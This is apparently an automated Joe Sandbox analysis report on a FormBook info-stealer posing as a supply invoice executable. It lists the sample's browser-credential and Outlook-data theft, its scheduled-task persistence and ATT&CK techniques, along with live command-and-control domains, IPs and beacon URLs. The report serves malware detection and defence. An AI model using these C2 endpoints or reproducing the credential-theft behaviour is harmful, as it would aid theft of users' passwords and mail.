Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Queries volume information: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 11.2.z1SupplyInvoiceCM60916_Doc.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.z1SupplyInvoiceCM60916_Doc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.2299844236.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.4574137574.00000000007B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.4577917548.0000000003080000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2351474935.0000000005710000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.4578048891.00000000030D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2302119508.00000000024B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.4578178574.00000000031A0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\svchost.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Remote Access Functionality

Source: Yara match	File source: 11.2.z1SupplyInvoiceCM60916_Doc.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.z1SupplyInvoiceCM60916_Doc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.2299844236.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.4574137574.00000000007B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.4577917548.0000000003080000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2351474935.0000000005710000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.4578048891.00000000030D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2302119508.00000000024B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.4578178574.00000000031A0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	212 Process Injection	1 Masquerading	1 OS Credential Dumping	221 Security Software Discovery	Remote Services	1 Email Collection	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 DLL Side-Loading	1 Scheduled Task/Job	11 Disable or Modify Tools	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Abuse Elevation Control Mechanism	51 Virtualization/Sandbox Evasion	Security Account Manager	51 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Data from Local System	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 DLL Side-Loading	212 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Abuse Elevation Control Mechanism	Cached Domain Credentials	113 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	4 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	12 Software Packing	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 DLL Side-Loading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
z1SupplyInvoiceCM60916_Doc.exe	47%	ReversingLabs	Win32.Backdoor.FormBook

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	47%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.sellvolt.life	209.74.64.190	true	true	unknown
booosted.xyz	3.33.130.190	true	true	unknown
nieuws-july202491.sbs	162.0.215.33	true	true	unknown
kk88.live	68.178.233.113	true	true	unknown
www.kuaimaolife.shop	38.55.251.233	true	true	unknown
whiterabbitgroup.pro	3.33.130.190	true	true	unknown
www.golizle22.xyz	104.21.5.125	true	true	unknown
cablecarrental.net	3.33.130.190	true	true	unknown
nieuws-july202541.sbs	162.0.215.33	true	true	unknown
www.acuarelacr.buzz	161.97.168.245	true	true	unknown
gegeesthreadworks.info	3.33.130.190	true	true	unknown
wonders8.live	119.18.54.27	true	true	unknown
impulsarnegocios.info	3.33.130.190	true	true	unknown
www.meliorahomes.net	8.217.17.192	true	true	unknown
www.booosted.xyz	unknown	unknown	true	unknown
www.impulsarnegocios.info	unknown	unknown	true	unknown
www.whiterabbitgroup.pro	unknown	unknown	true	unknown
www.gegeesthreadworks.info	unknown	unknown	true	unknown
www.nieuws-july202541.sbs	unknown	unknown	true	unknown
www.cablecarrental.net	unknown	unknown	true	unknown
www.o30cf998d.cfd	unknown	unknown	true	unknown
www.wonders8.live	unknown	unknown	true	unknown
www.nieuws-july202491.sbs	unknown	unknown	true	unknown
www.kk88.live	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
http://www.nieuws-july202541.sbs/odii/	true	unknown
http://www.booosted.xyz/spso/	true	unknown
http://www.gegeesthreadworks.info/8blm/?ej6Le=HSrh+kNg29vzDhmFvPtm7umcbnSkD02Ywpq4W1dSB1gaYliK2tVtZVmlspEFfRCsj7T0RA4zUvJ1xW3xieZGFm3Omt7rhJzIl1qpMMAhzN+EcK1k2mGj+1ZxR4qvhmW1pUGTA/Y=&An=mLdxo2Y8RLRh	true	unknown
http://www.kk88.live/m1w5/?ej6Le=3rMHf/BSjWsGYHwCFDyQr7UpHD469M8Ow0JV4TmI6XMWIkQCx3J07rEG1KeFsj1Bt3GmHG0JhP0iSMuoC4YaBVBwifK18YsKoqHqcY+PGErO86AoCrs033ftT3/LwHGHiZtPsOM=&An=mLdxo2Y8RLRh	true	unknown
http://www.sellvolt.life/dbaa/	true	unknown
http://www.cablecarrental.net/g5rn/?ej6Le=g7r8ZVC0cxJrkvwRypX7ol6hCzLGk0q5Jh6A3BrwknfWwIjVhyX9x4N34a97pOgSsNGPocoejkJQBdcVqC7tK2vQwMKTMeAj0+OVYz2VfmsetKnlMlSnUnOZTT0AV1eZjywajZ8=&An=mLdxo2Y8RLRh	true	unknown
http://www.sellvolt.life/dbaa/?ej6Le=k+2h99XjzdZ+a8Guk9H+DZKAegT3yZPFsem4T4eX/urocpQMmPRl+MIiB7TuMhw38cELxfo4GPEke8/YGnuBTMId45zKJfXr14lU8gtHFAMAaoG54zLZ3lT6+2fSDV7gKgn9GEE=&An=mLdxo2Y8RLRh	true	unknown
http://www.whiterabbitgroup.pro/woyi/?An=mLdxo2Y8RLRh&ej6Le=liT4ZvY+2rzgu/UySgm47PML3ORjyZfCr6UpwpMzCweBEUZYpuqhq1mvJHjke4Uqr9Ttl6ktg6VhmA6yP/C42/0uWdACaDjPwlAEpqkr1rm8nQp5jQDy/v7kwBfcS6SUx+7tvUI=	true	unknown
http://www.meliorahomes.net/x0tl/	true	unknown
http://www.booosted.xyz/spso/?ej6Le=tFeIgmxzndAX18VLtJk/zbNv0lImNRb288p8UUCUbjDyDydKnVlzDYJug8WZqOAMxfoP9GMdNXzPVq95XWLVPrBzbN/BvIU7kFB3pLyGJrR2t8RTUX3UsiymoOhQ+PD/dlbX4PM=&An=mLdxo2Y8RLRh	true	unknown
http://www.kuaimaolife.shop/9wb2/	true	unknown
http://www.acuarelacr.buzz/epk2/	true	unknown
http://www.golizle22.xyz/kpbt/?An=mLdxo2Y8RLRh&ej6Le=bzS3m8wIdYLAo6JC2B8v6DjkcYKoJ+/o0NmGFeD5SFiVCQOeD71i1fiBX/Z3MR+4fZ4gDTM+AXXLFXHhSs/mG9Ow8FixmQY8Mzsb0tyXAIso2XGTy+nTpErXCIb5tNtL4I1fOo4=	true	unknown
http://www.nieuws-july202541.sbs/odii/?ej6Le=dVBn/8h3nxQ+NW3HHa2Dil9IxOpuSbZnLfq0vBwwz2PjK6Osa+4r5Mmz4BUq4xUHF4JCazXFRId1LoC3dnRZfR9dh4rO42NOGnzVyjLt/mUqEpvHWr7qJMesP485wi7mHEQ5T/k=&An=mLdxo2Y8RLRh	true	unknown
http://www.nieuws-july202491.sbs/rq5n/	true	unknown
http://www.wonders8.live/ctxc/?ej6Le=zdjwxosx+nYBz3+zbsBPWm+/7ve+ekB9VgYRIagILtbm8OwwRgMV6Kxr3Il58QUpA1eFuFbhbn4bqlVkjsdXtj71u+jihQLEfVmONzp8WE9uDtKzy1Bx2zuvnmoFIjKdlKtQFkI=&An=mLdxo2Y8RLRh	true	unknown
http://www.golizle22.xyz/kpbt/	true	unknown
http://www.acuarelacr.buzz/epk2/?ej6Le=5hSJrytQEf2r193N2AyKKNas1p8do7y+C8hF198jiQrVzRfSjh9C72xB1f8gK0fXwE+oGLvPau9gCypTG2u5T5i3An2mBAgKXA59UHv+xIL7sVXWIuP/SFcs74Xei//AEoJSK5E=&An=mLdxo2Y8RLRh	true	unknown
http://www.cablecarrental.net/g5rn/	true	unknown
http://www.gegeesthreadworks.info/8blm/	true	unknown
http://www.kk88.live/m1w5/	true	unknown
http://www.meliorahomes.net/x0tl/?An=mLdxo2Y8RLRh&ej6Le=9tQWqttnWu7MjGZLyiEcCzdUDF7UN3PBgIeLryHozuROP/1ck4METjVt2AM5oXaP3hSOrK+o7VaG5j6GesXwOMuHrEAdecfGMf0B1/a+f8XsVC4h6LXHmO6QOE5KLV0/obdy6xQ=	true	unknown
http://www.impulsarnegocios.info/fp1z/?ej6Le=UM9JF3nEU4xQ/PwLWGC6ZGprDkqeXDETquU6+bQNCANtrDf9n2+FDVI8iqG/UPksDfc6HQNuzTnZ4EJOssmSqFcoG0I3gKiI2YTwSr3+9s/MRsmHXzjzE9U3d6U0PlwuaFK3vCk=&An=mLdxo2Y8RLRh	true	unknown
http://www.wonders8.live/ctxc/	true	unknown
http://www.impulsarnegocios.info/fp1z/	true	unknown
http://www.kuaimaolife.shop/9wb2/?ej6Le=5UlEP0kDVMW/PPEwoDc70sMozoicrCD3NhlqEuGPGOUFJHosOZBhD6Eku4DzDmeGf+gBdkEGC1Jne06x+N2lRr6ZxBLzarbPmMoZ56wq7frcAS7q07bHFFW9m+jVLfRUYpA8+/U=&An=mLdxo2Y8RLRh	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://cdn.jsinit.directfwd.com/sk-jspark_init.php	IEFVDUdSaLLhw.exe, 0000000D.00000002.4584961050.00000000054B6000.00000004.80000000.00040000.00000000.sdmp, svchost.exe, 0000000F.00000002.4578736616.00000000040A6000.00000004.10000000.00040000.00000000.sdmp	false		unknown
https://duckduckgo.com/chrome_newtab	svchost.exe, 0000000F.00000003.2478216716.0000000008136000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	svchost.exe, 0000000F.00000003.2478216716.0000000008136000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	svchost.exe, 0000000F.00000003.2478216716.0000000008136000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	svchost.exe, 0000000F.00000003.2478216716.0000000008136000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	svchost.exe, 0000000F.00000003.2478216716.0000000008136000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/kursovaSQLDataSet.xsd	z1SupplyInvoiceCM60916_Doc.exe, dpqsbGoWdXlp.exe.0.dr	false		unknown
https://www.ecosia.org/newtab/	svchost.exe, 0000000F.00000003.2478216716.0000000008136000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	svchost.exe, 0000000F.00000003.2478216716.0000000008136000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.meliorahomes.net	IEFVDUdSaLLhw.exe, 0000000D.00000002.4587208123.0000000007422000.00000040.80000000.00040000.00000000.sdmp	false		unknown
http://cpanel.com/?utm_source=cpanelwhm&utm_medium=cplogo&utm_content=logolink&utm_campaign=404refer	IEFVDUdSaLLhw.exe, 0000000D.00000002.4584961050.000000000678E000.00000004.80000000.00040000.00000000.sdmp, IEFVDUdSaLLhw.exe, 0000000D.00000002.4584961050.000000000596C000.00000004.80000000.00040000.00000000.sdmp, svchost.exe, 0000000F.00000002.4578736616.000000000537E000.00000004.10000000.00040000.00000000.sdmp, svchost.exe, 0000000F.00000002.4578736616.000000000455C000.00000004.10000000.00040000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	svchost.exe, 0000000F.00000003.2478216716.0000000008136000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	z1SupplyInvoiceCM60916_Doc.exe, 00000000.00000002.2200567149.00000000034D4000.00000004.00000800.00020000.00000000.sdmp, dpqsbGoWdXlp.exe, 0000000C.00000002.2342313446.0000000002A24000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	svchost.exe, 0000000F.00000003.2478216716.0000000008136000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
162.0.215.33	nieuws-july202491.sbs	Canada	35893	ACPCA	true
104.21.5.125	www.golizle22.xyz	United States	13335	CLOUDFLARENETUS	true
8.217.17.192	www.meliorahomes.net	Singapore	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	true
68.178.233.113	kk88.live	United States	26496	AS-26496-GO-DADDY-COM-LLCUS	true
119.18.54.27	wonders8.live	India	394695	PUBLIC-DOMAIN-REGISTRYUS	true
38.55.251.233	www.kuaimaolife.shop	United States	174	COGENT-174US	true
209.74.64.190	www.sellvolt.life	United States	31744	MULTIBAND-NEWHOPEUS	true
3.33.130.190	booosted.xyz	United States	8987	AMAZONEXPANSIONGB	true
161.97.168.245	www.acuarelacr.buzz	United States	51167	CONTABODE	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1527933
Start date and time:	2024-10-07 12:32:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	23
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	z1SupplyInvoiceCM60916_Doc.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@23/16@15/9
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 92% Number of executed functions: 175 Number of non-executed functions: 286
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, tile-service.weather.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: z1SupplyInvoiceCM60916_Doc.exe

Simulations

Behavior and APIs

Time	Type	Description
06:32:59	API Interceptor	1x Sleep call for process: z1SupplyInvoiceCM60916_Doc.exe modified
06:33:05	API Interceptor	49x Sleep call for process: powershell.exe modified
06:33:10	API Interceptor	1x Sleep call for process: dpqsbGoWdXlp.exe modified
06:33:53	API Interceptor	14165409x Sleep call for process: svchost.exe modified
12:33:07	Task Scheduler	Run new task: dpqsbGoWdXlp path: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
8.217.17.192	shipping documents_pdf.exe	Get hash	malicious	FormBook	Browse	www.meliorahomes.net/v6hi/
119.18.54.27	Compensation-1061613036.xls	Get hash	malicious	Unknown	Browse
119.18.54.27	Compensation-1061613036.xls	Get hash	malicious	Unknown	Browse
38.55.251.233	SOA SIL TL382920.exe	Get hash	malicious	FormBook	Browse	www.kuaimaolife.shop/j39u/
	Narudzba ACH0036173.vbe	Get hash	malicious	FormBook, GuLoader	Browse	www.kuaimaolife.shop/80e1/
	Revised Invoice H000127896.exe	Get hash	malicious	FormBook	Browse	www.kuaimaolife.shop/j39u/
3.33.130.190	SOA SIL TL382920.exe	Get hash	malicious	FormBook	Browse	www.ara-store.com/vbsv/
	Arrival Notice.exe	Get hash	malicious	FormBook	Browse	www.dto20.shop/qt7h/
	Arrival notice.exe	Get hash	malicious	FormBook	Browse	www.platinumkitchens.info/nkwh/
	Proforma szamla csatolva.exe	Get hash	malicious	FormBook	Browse	www.anavamarketing.com/iat1/
	PURCHASE ORDER-6350.exe	Get hash	malicious	FormBook	Browse	www.airtech365.net/i5ct/
	UPDATED Q-LOT24038.exe	Get hash	malicious	FormBook	Browse	www.theclydefund.info/pt4m/
	-pdf.bat.exe	Get hash	malicious	FormBook	Browse	www.greekhause.org/phvf/
	rpedido-002297.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.nuvsgloves.shop/211a/
	hH4dbIGfGT.exe	Get hash	malicious	FormBook	Browse	www.mgeducacaopro.online/p2x3/
	Fvqw64NU4k.exe	Get hash	malicious	FormBook	Browse	www.mayawashfold.net/k7qa/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.meliorahomes.net	shipping documents_pdf.exe	Get hash	malicious	FormBook	Browse	8.217.17.192
www.kuaimaolife.shop	SOA SIL TL382920.exe	Get hash	malicious	FormBook	Browse	38.55.251.233
	Narudzba ACH0036173.vbe	Get hash	malicious	FormBook, GuLoader	Browse	38.55.251.233
	Revised Invoice H000127896.exe	Get hash	malicious	FormBook	Browse	38.55.251.233
www.acuarelacr.buzz	SOA SIL TL382920.exe	Get hash	malicious	FormBook	Browse	161.97.168.245

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	rREQUESTFORQUOTE-INQUIRY87278.exe	Get hash	malicious	MassLogger RAT, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	https://kohlhage-de.powerappsportals.com/	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	104.21.34.55
	High Court Summons Notice.pdf	Get hash	malicious	Unknown	Browse	172.65.208.22
	https://kohlhage-de.powerappsportals.com/	Get hash	malicious	HtmlDropper	Browse	104.18.3.157
	cfev.-Information refb08b4d10f3ce74a317adeabab8ac66ad.htm	Get hash	malicious	Unknown	Browse	104.21.26.253
	SecuriteInfo.com.Win64.MalwareX-gen.31726.9623.exe	Get hash	malicious	Unknown	Browse	104.20.23.46
	SecuriteInfo.com.Win64.MalwareX-gen.19388.23445.exe	Get hash	malicious	Unknown	Browse	172.67.19.24
	SecuriteInfo.com.Win64.MalwareX-gen.19388.23445.exe	Get hash	malicious	Unknown	Browse	172.67.19.24
	SecuriteInfo.com.Win64.MalwareX-gen.31726.9623.exe	Get hash	malicious	Unknown	Browse	104.20.22.46
	https://tampoesdeferrofundido.com.br/redirect.php?v=2455b0ad034ad02	Get hash	malicious	Unknown	Browse	1.1.1.1
AS-26496-GO-DADDY-COM-LLCUS	Farahexperiences.com_Report_87018.pdf	Get hash	malicious	Unknown	Browse	72.167.52.82
	Farahexperiences.com_Report_52288.pdf	Get hash	malicious	Unknown	Browse	72.167.52.82
	z3hir.arm.elf	Get hash	malicious	Mirai	Browse	173.201.204.199
	http://www.sms22.com/images/flog/delivery/tracking.php	Get hash	malicious	Unknown	Browse	192.169.232.76
	http://www.floridavacationrentalsbyowners.com/uploads/1045/Info/page_settings/account.php	Get hash	malicious	Unknown	Browse	198.12.255.236
	z1PurchaseOrder.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	166.62.28.135
	Reff_Daiichi-sankyo_8580930869_n6T8Tseqk6.html	Get hash	malicious	HTMLPhisher	Browse	72.167.142.137
	Your Document-7617432882-8AhEHNmrLR Ready.msg	Get hash	malicious	HTMLPhisher	Browse	72.167.142.137
	5.dll	Get hash	malicious	Unknown	Browse	208.109.246.134
	shipping documents_pdf.exe	Get hash	malicious	FormBook	Browse	118.139.176.2
ACPCA	na.elf	Get hash	malicious	Mirai	Browse	162.54.91.6
	http://x3viswxo.clinicaimplantologica3d.com/	Get hash	malicious	Unknown	Browse	162.55.236.225
	arm7.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	162.64.49.51
	https://click.agilitypr.delivery/ls/click?upn=u001.eiLrPCkKKjApnPIr0I-2BsRfkpzjEGhTCoHqG09iolrdhlMYGCOo2Nd-2FxjkEBEx2ILarmVrzugxvL3mzK8oRbzmw-2Fc8MlnUZ-2Fr7oFdK8O5ZPNkRNGBT2B5w7-2BPGYsDVJaX7Ju4_CsMjdMvVCH8VnXX4Gfqu2d-2F8dUxANUAZ6i0guRxOZ16SBn-2BfWKPYCJ4k-2FRayz-2B7dgj-2Fry3pp6bh27tMOonGdCv5tjKX-2BF3xoFuSqeM2q0ggzsiKdwHoy3hTh08ynmZWbcBa2wQancmLCRha7gIvuGF-2BaYXuvGrIxnmpxoXmMm6ir51qvGKOvNKdK5IH4SYf35X5Wd-2Fs6YZWP8vKqWmGP1KToK5-2FGS-2BKn-2Bf84fcBuTdvvkjO8NEF5Bpt9hfpdVjRN-2FV0yMk97PXeyRMLgSEmwvvB4CTAjLo1gEwkG7vxhEAXXg1bNDHaxOZEzcIkoAbp8oMfK5YrMDngcc0JjC3pXeoycPv9IyLICjZ-2BgbU8HA-2BOjvDkAcylLxTWsU8lsqYTGnTfslidP4BMlB0nIxXCbcq4-2FLoVs6F-2Fhdrhdj9zy6VM-3D	Get hash	malicious	HTMLPhisher	Browse	162.55.246.61
	PROFORMA INVOICE.exe	Get hash	malicious	DarkCloud	Browse	162.55.60.2
	BANK STATEMENT REPORT.exe	Get hash	malicious	DarkCloud	Browse	162.55.60.2
	https://www.afghanhayatrestaurant.com.au/	Get hash	malicious	Unknown	Browse	162.0.209.239
	https://contact-us-business-help-home-64844114956.on-fleek.app/	Get hash	malicious	Unknown	Browse	162.55.51.87
	https://dreativityblocksnodes.pages.dev/	Get hash	malicious	Unknown	Browse	162.55.120.196
	https://247-dapprectify.pages.dev/wallet/index.html	Get hash	malicious	Unknown	Browse	162.55.233.28
CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	https://gtm.you1.cn/app/381210	Get hash	malicious	Unknown	Browse	47.57.186.72
	na.elf	Get hash	malicious	Mirai, Okiru	Browse	47.255.177.103
